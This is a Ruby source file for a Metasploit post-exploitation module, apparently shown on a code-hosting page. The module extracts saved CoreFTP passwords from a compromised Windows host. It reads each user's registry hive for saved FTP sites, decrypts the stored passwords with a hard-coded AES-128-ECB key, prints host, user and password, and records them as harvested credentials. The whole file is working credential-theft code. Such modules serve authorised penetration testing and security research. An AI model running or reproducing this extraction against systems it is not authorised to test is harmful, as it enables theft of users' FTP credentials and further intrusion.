Tod Beardsley
88 lines
2.7 KiB
Ruby
88 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/auxiliary/report'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows Gather CoreFTP Saved Password Extraction',
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'Description' => %q{
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This module extracts saved passwords from the CoreFTP FTP client. These
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passwords are stored in the registry. They are encrypted with AES-128-ECB.
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This module extracts and decrypts these passwords.
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},
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'License' => MSF_LICENSE,
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'Author' => ['theLightCosine'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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userhives=load_missing_hives()
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userhives.each do |hive|
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next if hive['HKU'] == nil
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print_status("Looking at Key #{hive['HKU']}")
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begin
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subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites")
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if subkeys.nil? or subkeys.empty?
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print_status ("CoreFTP not installed for this user.")
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next
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end
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subkeys.each do |site|
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site_key = "#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites\\#{site}"
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host = registry_getvaldata(site_key, "Host") || ""
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user = registry_getvaldata(site_key, "User") || ""
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port = registry_getvaldata(site_key, "Port") || ""
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epass = registry_getvaldata(site_key, "PW")
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next if epass == nil or epass == ""
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pass = decrypt(epass)
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pass = pass.gsub(/\x00/, '') if pass != nil and pass != ''
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print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}")
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if session.db_record
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source_id = session.db_record.id
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else
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source_id = nil
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end
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auth =
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{
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:host => host,
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:port => port,
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:sname => 'ftp',
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:user => user,
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:pass => pass,
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:type => 'password',
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:source_id => source_id,
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:source_type => "exploit",
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:active => true
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}
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report_auth_info(auth)
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end
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rescue
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print_error("Cannot Access User SID: #{hive['HKU']}")
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end
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end
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unload_our_hives(userhives)
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end
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def decrypt(encoded)
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cipher = [encoded].pack("H*")
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aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
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aes.padding = 0
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aes.decrypt
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aes.key = "hdfzpysvpzimorhk"
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password = (aes.update(cipher) + aes.final).gsub(/\x00/,'')
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return password
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end
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end
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